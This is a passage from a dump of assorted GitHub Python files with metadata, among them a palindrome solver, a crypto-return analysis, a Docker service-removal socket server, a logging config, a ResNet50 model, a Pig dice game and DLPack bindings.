s[i+1] == s[-i-1]:\n return i\n elif s[-i-2] == s[i]:\n return len(s)-i-1\n \nif __name__ == '__main__':\n\n q = int(input().strip())\n\n for q_itr in range(q):\n s = input()\n\n result = palindromeIndex(s)\n print(result)","repo_name":"RCAS2021/hackerrank-prepare","sub_path":"InterviewKitDay3/Palindrome IndexV2.py","file_name":"Palindrome IndexV2.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74818006881","text":"import sys\nsys.path.append('../lib')\nimport exchange\n\nimport datetime\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nimport pandas as pd\n\nfrom scipy.stats import norm\n\n\n\ndef transition_probabilities(chain, offset=1):\n states = np.array([s for s in set(chain)])\n\n state_space = {s: i for i, s in enumerate(states)}\n transition_matrix = np.zeros((states.shape[0], states.shape[0]))\n for i in states:\n total_in_state = np.sum(chain == i) - np.sum(chain[-offset:] == i)\n relevant_states = np.concatenate(([False] * offset, (chain == i)[:-offset]))\n for j in states:\n transition_matrix[state_space[i]][state_space[j]] = np.sum(chain[relevant_states] == j) / total_in_state\n return transition_matrix, state_space\n\n\n\n\ndef main():\n e = exchange.Exchange('../lib/binance.db')\n\n times = [datetime.datetime(2018, 4, 1) + datetime.timedelta(days=i) for i in range(500)]\n\n start = datetime.datetime(2019, 4, 2)\n end = datetime.datetime(2019, 4, 28)\n\n\n EMA = []\n alpha = 0.3\n\n returns = []\n previous_price = None\n\n\n it = e.get_orders('BTCUSDT', start.timestamp() * 1000, end.timestamp() * 1000)\n\n\n for order in it:\n if previous_price is None:\n previous_price = order.end_price\n continue\n elif np.abs(np.log(previous_price / order.end_price)) < 10 **-5:\n continue\n if len(EMA) == 0:\n EMA.append(np.log(order.end_price / previous_price))\n else:\n EMA.append(alpha * np.log(order.end_price / previous_price) + (1 - alpha) * EMA[-1])\n\n\n\n r = order.end_price / previous_price\n previous_price = order.end_price\n returns.append(np.log(r))\n\n r_var = np.var(returns)\n e_var = np.var(EMA)\n\n #limits = [[-3 * np.sqrt(e_var), 3 * np.sqrt(e_var)], [-3 * np.sqrt(r_var), 3 * np.sqrt(r_var)]]\n limits = [[-0.0003, 0.0003], [-0.001, 0.001]]\n plt.hist2d(EMA[:-1], returns[1:], bins = 1000, range=limits)\n plt.ylabel('Next return')\n plt.xlabel('Return EMA')\n plt.show()\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"alfredholmes/cryptocurrency_data_analysis","sub_path":"Basic Markov Model Implementation/EMA_Return.py","file_name":"EMA_Return.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"42308485481","text":"# service remove server\r\n\r\nimport string\r\nimport socket\r\nimport os\r\nimport json\r\nimport subprocess\r\nimport csv\r\nimport math\r\n\r\nRESOURCES_FILE = \"resources.csv\" # fichero que almacena el uso de los recursos del sistema\r\nTCP_IP = \"127.0.0.1\" # IP por defecto donde escucha el servidor\r\nTCP_PORT = 12000 # puerto por defecto donde escucha el servidor\r\nBUFFER_SIZE = 1024 # tamanio maximo del buffer\r\nCLIENT_FILE = \"clients.json\" # fichero que contiene la informacion de los clientes\r\n\r\n# Clases para gestionar las excepciones\r\n# error general\r\nclass Error(Exception):\r\n pass\r\n\r\n# error cuando el ID del cliente no esta registrado\r\nclass NoID(Error):\r\n pass\r\n\r\n# error cuando el servicio indicado no existe\r\nclass NoService(Error):\r\n pass\r\n\r\n# crea el mensaje json que se envia como respuesta al cliente\r\ndef create_response(status, body):\r\n json_message = {\r\n \"status\":status,\r\n \"body\":body\r\n }\r\n return json_message\r\n\r\n# actualiza los contenedores corriendo con las nuevas cpu asignadas\r\ndef act_services():\r\n with open(RESOURCES_FILE, \"r\") as csv_file:\r\n reader = csv.reader(csv_file)\r\n for s in reader:\r\n command = \"docker ps --filter 'name=^/{}$' --format '{{.ID}}'\".format(s[0])\r\n service_id = subprocess.check_output(command, shell=True) # sacamos el ID del contenedor\r\n # puede suceder que el servicio deje de funcionar antes de actualizarlo, entonces el ps devuelve valor vacio y no se actualiza nada\r\n if service_id.decode() != \"\":\r\n command = \"docker update {} --cpus={}\".format(s[0], s[3])\r\n output = subprocess.check_output(command, shell=True)\r\n\r\n# actualiza el fichero de uso de cpu en base a un diccionario\r\ndef act_file(services):\r\n with open(RESOURCES_FILE, \"w\") as csv_file:\r\n writefile = csv.writer(csv_file)\r\n for s in services:\r\n writefile.writerow(s)\r\n\r\n# redondea a la baja flaots, para que los valores de cpus sean manejables\r\ndef round_down(n, decimals=0):\r\n multiplier = 10 ** decimals\r\n return math.floor(n*multiplier)/multiplier\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nsock.bind((TCP_IP, TCP_PORT))\r\nwhile True:\r\n sock.listen(1)\r\n print(\"Servidor conectado. A la espera de datos...\")\r\n conn, addr = sock.accept()\r\n data = conn.recv(BUFFER_SIZE)\r\n if not data: break\r\n print(\"Conexion recibida\")\r\n json_obj = json.loads(data.decode())\r\n clientid = json_obj[\"id\"]\r\n serviceid = json_obj[\"serviceid\"]\r\n try:\r\n found = 0\r\n for client in open(CLIENT_FILE, \"r\"):\r\n c = json.loads(client)\r\n if c[\"id\"] == clientid:\r\n found = 1\r\n if found == 0:\r\n raise NoID\r\n found = 0\r\n services = []\r\n num_services = 0\r\n with open(RESOURCES_FILE, \"r\") as csv_file:\r\n reader = csv.reader(csv_file)\r\n for s in reader:\r\n if int(s[0]) == serviceid:\r\n found = 1\r\n cpu_free = float(s[3])\r\n else:\r\n num_services += 1\r\n services.append(s)\r\n if found == 0:\r\n raise NoService\r\n if num_services > 0:\r\n add_each = round_down(cpu_free/num_services,2)\r\n for s in services:\r\n if s[3] < s[2]:\r\n if float(s[2]) <= add_each:\r\n s[3] = round_down(float(s[3]) + (float(s[2]) - float(s[3])),2)\r\n else:\r\n s[3] = round_down(float(s[3]) + add_each,2)\r\n s[4] = round_down(float(s[3]) - float(s[1]),2)\r\n act_file(services)\r\n act_services()\r\n command = \"docker stop {}\".format(serviceid)\r\n subprocess.check_output(command, shell=True)\r\n command = \"docker rm {}\".format(serviceid)\r\n subprocess.check_output(command, shell=True)\r\n body = \"El servicio {} ha sido eliminado correctamente\".format(serviceid)\r\n status = \"OK\"\r\n message = json.dumps(create_response(status, body))\r\n conn.send(message.encode())\r\n except NoID:\r\n body = \"El ID provisto no corresponde con ningun cliente registrado\"\r\n status = \"ERROR\"\r\n message = json.dumps(create_response(status, body))\r\n conn.send(message.encode())\r\n except NoService:\r\n body = \"El ID de servicio no existe\"\r\n status = \"ERROR\"\r\n message = json.dumps(create_response(status, body))\r\n conn.send(message.encode())\r\n except Exception as e:\r\n print(e)\r\n body = \"Error no controlado\"\r\n status = \"ERROR\"\r\n message = json.dumps(create_response(status, body))\r\n conn.send(message.encode())\r\nconn.close()\r\n","repo_name":"franpach/ECM","sub_path":"server/remove_server.py","file_name":"remove_server.py","file_ext":"py","file_size_in_byte":5618,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30039422388","text":"class Node:\n def __init__(self) -> None:\n self.data = None\n self.next = None\n \nclass Stack:\n def __init__(self) -> None:\n self.head = None\n \n def push(self,data):\n temp = Node()\n temp.data = data\n temp.next = self.head\n self.head = temp\n\n def pop(self):\n data = self.head.data\n self.head = self.head.next\n return data\n\n def show(self):\n temp = self.head\n while temp != None:\n print(temp.data)\n temp = temp.next\n \n\nif __name__ == \"__main__\":\n \n st = Stack()\n st.push(1)\n st.push(2)\n st.push(3)\n \n st.show()\n print(\"SHOW\")\n\n print(\"Pop\",st.pop())\n print(\"Pop\",st.pop())\n print(\"Pop\",st.pop())\n \n \n\n ","repo_name":"WithSJ/DataStructures","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30832679112","text":"import os\n\nimport structlog\nimport logging.config\n\nLOG_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..', 'logs')\nDEFAULT_LOGGING_LEVEL = \"DEBUG\"\n\nstructlog.configure(\n processors=[\n structlog.processors.UnicodeEncoder(encoding='utf-8', errors='backslashreplace'),\n structlog.processors.StackInfoRenderer(),\n structlog.processors.format_exc_info,\n structlog.stdlib.ProcessorFormatter.wrap_for_formatter,\n ],\n context_class=structlog.threadlocal.wrap_dict(dict),\n logger_factory=structlog.stdlib.LoggerFactory(),\n wrapper_class=structlog.stdlib.BoundLogger,\n cache_logger_on_first_use=True,\n)\n\npre_chain = [\n # Add the log level and a timestamp to the event_dict if the log entry\n # is not from structlog.\n structlog.stdlib.add_log_level,\n structlog.processors.TimeStamper(fmt='iso'),\n]\n\nLOGGING_CONFIG = {\n 'version': 1,\n 'disable_existing_loggers': False,\n\n 'formatters': {\n 'default': {\n 'format': '%(asctime)s %(name)-15s %(levelname)-8s %(processName)-10s %(message)s',\n 'datefmt': '%Y-%m-%d %H:%M:%S'\n },\n 'json_struct': {\n \"()\": structlog.stdlib.ProcessorFormatter,\n \"foreign_pre_chain\": pre_chain,\n \"processor\": structlog.processors.JSONRenderer(sort_keys=True),\n }\n },\n\n 'filters': {\n },\n\n 'handlers': {\n 'console': {\n 'level': DEFAULT_LOGGING_LEVEL,\n 'class': 'logging.StreamHandler',\n 'formatter': 'default',\n },\n 'eventgen_main': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': DEFAULT_LOGGING_LEVEL,\n 'formatter': 'default',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-main.log')\n },\n 'eventgen_controller': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': DEFAULT_LOGGING_LEVEL,\n 'formatter': 'default',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-controller.log')\n },\n 'eventgen_httpevent': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': DEFAULT_LOGGING_LEVEL,\n 'formatter': 'default',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-httpevent.log')\n },\n 'eventgen_error': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'ERROR',\n 'formatter': 'default',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-error.log')\n },\n 'eventgen_metrics': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': DEFAULT_LOGGING_LEVEL,\n 'formatter': 'json_struct',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-metrics.log')\n },\n 'eventgen_server': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': DEFAULT_LOGGING_LEVEL,\n 'formatter': 'json_struct',\n 'filters': [],\n 'maxBytes': 1024 * 1024,\n 'filename': os.path.join(LOG_DIR, 'eventgen-server.log')\n },\n },\n\n 'loggers': {\n 'eventgen': {\n 'handlers': ['console', 'eventgen_main'],\n 'level': DEFAULT_LOGGING_LEVEL,\n 'propagate': False\n },\n 'eventgen_metrics': {\n 'handlers': ['eventgen_metrics'],\n 'level': DEFAULT_LOGGING_LEVEL,\n 'propagate': False\n },\n 'eventgen_server': {\n 'handlers': ['eventgen_server', 'console'],\n 'level': DEFAULT_LOGGING_LEVEL,\n 'propagate': False\n },\n 'eventgen_controller': {\n 'handlers': ['eventgen_controller', 'console'],\n 'level': DEFAULT_LOGGING_LEVEL,\n 'propagate': False\n },\n }\n}\n\nlogging.config.dictConfig(LOGGING_CONFIG)\n\nlogger = structlog.get_logger('eventgen')\ncontroller_logger = structlog.get_logger('eventgen_controller')\nserver_logger = structlog.get_logger('eventgen_server')\nmetrics_logger = structlog.get_logger('eventgen_metrics')\n","repo_name":"tscode75/splunk-apps","sub_path":"SA-Eventgen/lib/splunk_eventgen/lib/logging_config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6827269879","text":"# day08.py\n\nimport re\nwith open('input08.txt') as fp:\n lines: list[str] = fp.readlines()\n\ncount: int = 0\nfor line in lines:\n output_val: str = line.strip().split(' | ')[1]\n matches: list[re.Match] = re.findall(r'\\b\\w{2,4}\\b|\\b\\w{7}\\b', output_val)\n count += len(matches)\n\nprint(count)\n\ntotal: int = 0\nfor line in lines:\n output_val_tokens: list[str] = line.strip().split(' | ')[1].split()\n all_tokens: list[str] = list(set([''.join(sorted(token))\n for token in line.split()])-set('|'))\n all_tokens.sort(key=len)\n digits: dict[int, str] = {8: 'abcdefg'}\n for token in all_tokens:\n if len(token) == 2: # 1\n digits[1] = token\n elif len(token) == 3: # 7\n digits[7] = token\n elif len(token) == 4: # 4\n digits[4] = token\n elif len(token) == 5: # 235\n if 1 in digits.keys() and len(set(token) & set(digits[1])) == 2:\n digits[3] = token\n elif 7 in digits.keys() and len(set(token) & set(digits[7])) == 3:\n digits[3] = token\n elif 4 in digits.keys() and len(set(token) & set(digits[4])) == 2:\n digits[2] = token\n elif 4 in digits.keys() and len(set(token) & set(digits[4])) == 3:\n digits[5] = token\n elif len(token) == 6: # 690\n if 1 in digits.keys() and len(set(token) & set(digits[1])) == 1:\n digits[6] = token\n elif 7 in digits.keys() and len(set(token) & set(digits[7])) == 2:\n digits[6] = token\n elif 4 in digits.keys() and len(set(token) & set(digits[4])) == 4:\n digits[9] = token\n elif 3 in digits.keys() and len(set(token) & set(digits[3])) == 5:\n digits[9] = token\n elif 5 in digits.keys() and len(set(token) & set(digits[5])) == 4:\n digits[0] = token\n elif len(token) == 7:\n pass # 8 is taken care of by initialization\n a: tuple[int | str]\n b: tuple[int | str]\n a, b = zip(*digits.items())\n rdigits = dict(zip(b, a))\n total += int(''.join(map(str,\n [rdigits[''.join(sorted(token))] for token in output_val_tokens])))\nprint(total)\n","repo_name":"nessalc/AdventOfCode","sub_path":"advent2021/day08.py","file_name":"day08.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31982546573","text":"# pig.py | iml\n#str\n\nimport random\n\np1PointsTemp = 0\np1PointsPerm = 0\n\np2PointsTemp = 0\np2PointsPerm = 0\n\nwin = 0\npc = 0\n\nprint()\n\nwhile win == 0:\n while pc == 0:\n pc = 0\n roll = random.randint(1,6)\n print('P1 ' + str(roll))\n\n if roll == 1:\n p1PointsTemp = 0\n pc = 1\n print('You got a 1!')\n print()\n confirmation = input()\n break;\n else:\n p1PointsTemp += roll\n\n print('TempPoints: ' + str(p1PointsTemp))\n print('PermPoints: ' + str(p1PointsPerm))\n decision = input('Do you want to continue or hold? ')\n print()\n \"\"\"\n while decision != 'h' or decision != 'hold' or decision != 'c':\n if decision == 'help':\n print('Pig is a simple dice game first described in print by John Scarne in 1945. As with many games of folk origin, Pig is played with many rule variations.')\n print('In this version of Pig, each turn, a player repeatedly rolls a die until either a 1 is rolled or the player decides to \"hold\": ')\n print(' If the player rolls a 1, they score nothing and it becomes the next player\\'s turn.')\n print(' If the player rolls any other number, it is added to their turn total and the player\\'s turn continues.')\n print(' If a player chooses to \\\"hold\\\", their turn total is added to their score, and it becomes the next player\\'s turn.')\n print('The first player to score 100 or more points wins.')\n print('For example, the first player, Donald, begins a turn with a roll of 5. Donald could hold and score 5 points, but chooses to roll again. Donald rolls a 2, and could hold with a turn total of 7 points, but chooses to roll again. Donald rolls a 1, and must end his turn without scoring. The next player, Alexis, rolls the sequence 4-5-3-5-5, after which she chooses to hold, and adds her turn total of 22 points to her score.')\n\n print('If you need help type \\\"help\\\".')\n print()\n decision = input('Do you want to continue or hold? ')\n \"\"\"\n if decision == 'h':\n p1PointsPerm += p1PointsTemp\n p1PointsTemp = 0\n pc = 1\n if p1PointsPerm >= 100:\n win += 1\n\n while pc == 1:\n pc = 1\n roll = random.randint(1,6)\n print('PC ' + str(roll))\n\n if roll == 1:\n p2PointsTemp = 0\n pc = 0\n print('You got a 1!')\n print()\n confirmation = input()\n break;\n else:\n p2PointsTemp += roll\n\n print('TempPoints: ' + str(p2PointsTemp))\n print('PermPoints: ' + str(p2PointsPerm))\n confirmation = input()\n","repo_name":"ianmlunaq/python2019-2020","sub_path":"pig.py","file_name":"pig.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40664677589","text":"from keras.layers import add, Dense, Conv2D, MaxPooling2D, BatchNormalization, \\\n GlobalAveragePooling2D, Input, Activation, Dropout\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\n\n# Load oxflower17 dataset\n# import tflearn.datasets.oxflower17 as oxflower17\n# from sklearn.model_selection import train_test_split\n\n# x, y = oxflower17.load_data(one_hot=True)\n\n# Split train and test data\n# X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, shuffle=True)\n\n# Data augumentation with Keras tools\nimg_gen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True\n)\n\n\n# Define convolution with batch normalization\ndef Conv2d_BN(x, nb_filter, kernel_size, padding='same', strides=(1, 1), name=None):\n if name is not None:\n bn_name = name + '_bn'\n conv_name = name + '_conv'\n else:\n bn_name = None\n conv_name = None\n\n x = Conv2D(nb_filter, kernel_size, padding=padding, strides=strides, activation='relu', name=conv_name)(x)\n x = BatchNormalization(axis=-1, name=bn_name)(x)\n return x\n\n\n# Define Residual Block for ResNet34(2 convolution layers)\ndef Residual_Block(input_model, nb_filter, kernel_size, strides=(1, 1), with_conv_shortcut=False):\n filter1, filter2, filter3 = nb_filter\n\n x = Conv2d_BN(input_model, nb_filter=filter1, kernel_size=(1, 1), strides=strides, padding='same')\n x = Activation('relu')(x)\n x = Conv2d_BN(x, nb_filter=filter2, kernel_size=kernel_size, strides=strides, padding='same')\n x = Activation('relu')(x)\n x = Conv2d_BN(x, nb_filter=filter3, kernel_size=(1, 1), strides=strides, padding='same')\n\n # need convolution on shortcut for add different channel\n if with_conv_shortcut:\n shortcut = Conv2d_BN(input_model, nb_filter=filter3, kernel_size=(1, 1), strides=strides, padding='same')\n x = add([x, shortcut])\n x = Activation('relu')(x)\n return x\n else:\n x = add([x, input_model])\n x = Activation('relu')(x)\n return x\n\n\n# Built ResNet34\ndef ResNet50(width, height, depth, classes):\n Img = Input(shape=(width, height, depth))\n\n # First stage conv1_x\n x = Conv2d_BN(Img, 64, (7, 7), strides=(2, 2), padding='same')\n x = Activation('relu')(x)\n x = MaxPooling2D(pool_size=(3, 3), strides=(2, 2), padding='same')(x)\n\n # Residual conv2_x ouput\n x = Residual_Block(x, nb_filter=(64, 64, 256), kernel_size=(3, 3), with_conv_shortcut=True)\n x = Residual_Block(x, nb_filter=(64, 64, 256), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(64, 64, 256), kernel_size=(3, 3))\n\n # Residual conv3_x ouput\n x = Residual_Block(x, nb_filter=(128, 128, 512), kernel_size=(3, 3), with_conv_shortcut=True)\n x = Residual_Block(x, nb_filter=(128, 128, 512), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(128, 128, 512), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(128, 128, 512), kernel_size=(3, 3))\n\n # Residual conv4_x ouput\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3), with_conv_shortcut=True)\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(256, 256, 1024), kernel_size=(3, 3))\n\n # Residual conv5_x ouput\n x = Residual_Block(x, nb_filter=(512, 512, 2048), kernel_size=(3, 3), with_conv_shortcut=True)\n x = Residual_Block(x, nb_filter=(512, 512, 2048), kernel_size=(3, 3))\n x = Residual_Block(x, nb_filter=(512, 512, 2048), kernel_size=(3, 3))\n\n # Using AveragePooling replace flatten\n x = GlobalAveragePooling2D()(x)\n x = Dense(classes, activation='softmax')(x)\n\n model = Model(input=Img, output=x)\n return model\n\n\n# ResNet50_model = ResNet50(512, 512, 1, 2)\n# ResNet50_model.summary()\n\n# ResNet50_model.compile(optimizer=Adam(lr=0.00001, beta_1=0.9, beta_2=0.999, epsilon=1e-08),\n# loss='categorical_crossentropy',\n# metrics=['accuracy'])\n#\n# ResNet50_model.fit_generator(img_gen.flow(X_train * 255, y_train, batch_size=16),\n# steps_per_epoch=len(X_train) / 16,\n# validation_data=(X_test, y_test),\n# epochs=30)\n#\n# ResNet50_model.save('model/Resnet_50.h5')","repo_name":"ChengYiLin/acer_intern","sub_path":"Final_present/NN/Resnet50.py","file_name":"Resnet50.py","file_ext":"py","file_size_in_byte":4592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"27344230683","text":"from time import time\nfrom heapq import *\n\n\nclass Solution:\n def nearestValidPoint(self, x: int, y: int, points: list[list[int]]) -> int:\n heap = []\n heapify(heap)\n for i in range(len(points)):\n px, py = points[i]\n if px == x:\n heappush(heap, (abs(py - y), i))\n elif py == y:\n heappush(heap, (abs(px - x), i))\n return -1 if not heap else heappop(heap)[1]\n\n\nstart_time = time()\n\n_x = 3\n_y = 4\n_points = [[1,2],[3,1],[2,4],[2,3],[4,4]]\n# Input: x = 3, y = 4, points = [[1,2],[3,1],[2,4],[2,3],[4,4]]\n# Output: 2\n# Explanation: Of all the points, only [3,1], [2,4] and [4,4] are valid. Of the valid points, [2,4] and [4,4] have\n# the smallest Manhattan distance from your current location, with a distance of 1. [2,4] has the smallest index, so return 2.\n\nprint(Solution().nearestValidPoint(_x, _y, _points))\n\nprint(\"--- %s seconds ---\" % (time() - start_time))\n","repo_name":"Sadomtsevvs/Leetcode","sub_path":"1779. Find Nearest Point That Has the Same X or Y Coordinate.py","file_name":"1779. Find Nearest Point That Has the Same X or Y Coordinate.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33930181958","text":"from django.test import TestCase\n\nfrom financial_news.models import FinancialNews, FinancialSymbol\nfrom financial_news.tasks import get_scraping_symbols, fetch_financial_news_by_url, \\\n save_to_db_scraped_financial_news_for_symbol\n\n\nclass ScrapingTestCase(TestCase):\n fetch_headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n fetch_url = \"https://feeds.finance.yahoo.com/rss/2.0/headline?s=%s®ion=US&lang=en-US\"\n\n def test_get_scraping_symbols(self):\n \"\"\"Collect scraping symbols from DB\"\"\"\n self.assertEqual(get_scraping_symbols(), ['AAPL', 'TWTR', 'GC=F', 'INTC'])\n\n def test_fetch_financial_news_by_url(self):\n \"\"\"Fetch news\"\"\"\n bad_symbol = \"INTC_1234\"\n good_symbol = \"INTC\"\n\n self.assertEqual(fetch_financial_news_by_url(self.fetch_url % (bad_symbol,), self.fetch_headers), [])\n self.assertEqual(fetch_financial_news_by_url(self.fetch_url % (bad_symbol,), {}), False)\n\n fetch_data_ok = fetch_financial_news_by_url(self.fetch_url % (good_symbol,), self.fetch_headers)\n self.assertEqual(True if isinstance(fetch_data_ok, list) and len(fetch_data_ok) else False, True)\n\n def test_save_to_db_scraped_financial_news_for_symbol(self):\n \"\"\"Save fetched records to db\"\"\"\n symbol = \"INTC\"\n\n scraped_news = fetch_financial_news_by_url(self.fetch_url % (symbol,), self.fetch_headers)\n\n FinancialNews.objects.all().delete()\n save_to_db_scraped_financial_news_for_symbol(symbol, scraped_news)\n\n self.assertEqual(FinancialNews.objects.all().count(), len(scraped_news))\n","repo_name":"jaggermania/mop","sub_path":"app/financial_news/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37084763661","text":"\"\"\"Collection of functions used for the tools.\"\"\"\n\nimport rospkg\nimport plotly.io as pio\nimport plotly.graph_objects as go\nfrom pathlib import Path\nimport subprocess\n\n###############################################################################\n# Configuration variables, which can be changed by the user.\n#\n# The file format to be used for the plots, e.g. png, pdf, eps, svg.\nfile_format = \"png\"\n# The font size to be used for the plots.\nfont_size = 18\n# The font family to be used for the plots.\nfont_family = \"Computer Modern\"\n# The theme to be used for the plots.\ntheme_template = \"plotly_white\"\n# Whether or not to create html output.\nexport_html = False\n###############################################################################\n\n# The directory of the current file.\nfile_dir = Path(__file__).parent.resolve()\n\ndef l_math(string: str) -> str:\n \"\"\"Returns a LaTeX math mode string.\n\n Args:\n string (str): The string to be converted to LaTeX math mode.\n\n Returns:\n str: The LaTeX math mode string.\n \"\"\"\n if(file_format == \"svg\"):\n return f\"${string}$\"\n elif(file_format == \"png\" or export_html):\n return f\"${string}$\"\n\ndef remove_file(file_name: str) -> None:\n \"\"\"Removes all files from the output directory that match the specified file name.\n\n Args:\n file_name (str): The name of the file to be removed.\n \"\"\"\n file_paths = Path(f\"{file_dir}/output/\").glob(file_name)\n\n for file_path in file_paths:\n file_path.unlink()\n\ndef generate_output(fig: go.Figure, file_name: str) -> None:\n # fig.show()\n fig.write_image(f\"{file_dir}/output/{file_name}.{file_format}\")\n if(export_html):\n pio.write_html(fig, f\"{file_dir}/output/{file_name}.html\", include_plotlyjs=\"cdn\", include_mathjax=\"cdn\") \n\ndef create_output_dir() -> None:\n \"\"\"Creates the output directory for all tools.\"\"\"\n output = Path(f\"{file_dir}/output\")\n try:\n output.mkdir(exist_ok=True)\n except:\n pass\n\n\ndef run_tool(tool: str, options: str, scenario: str) -> None:\n \"\"\"Runs a C++ tool with the specified options and scenario files.\n\n Args:\n tool (str): The C++ tool to run.\n options (str): The options to load into the tool.\n scenario (str): The scenario to load into the tool.\n \"\"\"\n # The path of the ros_proseco_planning package.\n pack_path = rospkg.RosPack().get_path(\"ros_proseco_planning\")\n # The path of the proseco workspace.\n ws_path = Path(pack_path).parents[1]\n cmd = f\"cd {ws_path} && ./devel_isolated/proseco_planning/lib/proseco_planning/{tool} {pack_path}/config/options/{options} {pack_path}/config/scenarios/{scenario} {str(file_dir)}/output\"\n # Execute the bash command.\n subprocess.run(cmd, shell=True, check=True)","repo_name":"ProSeCo-Planning/proseco_planning","sub_path":"src/tools/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"28928218415","text":"import asyncio\nimport json\nimport random\nfrom datetime import datetime\n\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nfrom sapl_base.decorators import enforce_drop_while_denied\n\nclass BloodPressureConsumer(AsyncWebsocketConsumer):\n async def receive(self, text_data=None, bytes_data=None):\n\n async for i in self.customgen():\n try:\n current_time = datetime.now()\n time = current_time.strftime('%H:%M:%S')\n i.update({'time':time})\n await self.send(text_data=json.dumps(i))\n except Exception:\n pass\n\n @enforce_drop_while_denied\n async def customgen(self):\n while True:\n blood_pressure_1 = random.randint(95,165)\n blood_pressure_2 = random.randint(65,100)\n yield {'blood_pressure_1':blood_pressure_1,'blood_pressure_2':blood_pressure_2}\n await asyncio.sleep(5)\n\n\n async def connect(self):\n await self.accept()","repo_name":"heutelbeck/sapl-python-demos","sub_path":"djangoDemo/medical/consumer/blood_pressure_consumer.py","file_name":"blood_pressure_consumer.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71585786081","text":"# pylint: disable=invalid-name\n\"\"\"Runtime NDArray api\"\"\"\nfrom __future__ import absolute_import\n\nimport ctypes\nfrom ..base import _LIB, check_call, c_str\nfrom ..runtime_ctypes import DECORDArrayHandle\nfrom .types import RETURN_SWITCH, C_TO_PY_ARG_SWITCH, _wrap_arg_func, _return_handle\n\n\nDECORDPyCapsuleDestructor = ctypes.CFUNCTYPE(None, ctypes.c_void_p)\n_c_str_dltensor = c_str('dltensor')\n_c_str_used_dltensor = c_str('used_dltensor')\n\n\n# used for PyCapsule manipulation\nif hasattr(ctypes, 'pythonapi'):\n ctypes.pythonapi.PyCapsule_GetName.restype = ctypes.c_char_p\n ctypes.pythonapi.PyCapsule_GetPointer.restype = ctypes.c_void_p\n ctypes.pythonapi.PyCapsule_New.restype = ctypes.py_object\n\n\ndef _from_dlpack(dltensor):\n dltensor = ctypes.py_object(dltensor)\n if ctypes.pythonapi.PyCapsule_IsValid(dltensor, _c_str_dltensor):\n ptr = ctypes.pythonapi.PyCapsule_GetPointer(dltensor, _c_str_dltensor)\n # XXX(minjie): The below cast should be unnecessary given the code to\n # set restype of PyCapsule calls. But weirdly, this does not\n # work out always.\n ptr = ctypes.cast(ptr, ctypes.c_void_p)\n handle = DECORDArrayHandle()\n check_call(_LIB.DECORDArrayFromDLPack(ptr, ctypes.byref(handle)))\n ctypes.pythonapi.PyCapsule_SetName(dltensor, _c_str_used_dltensor)\n 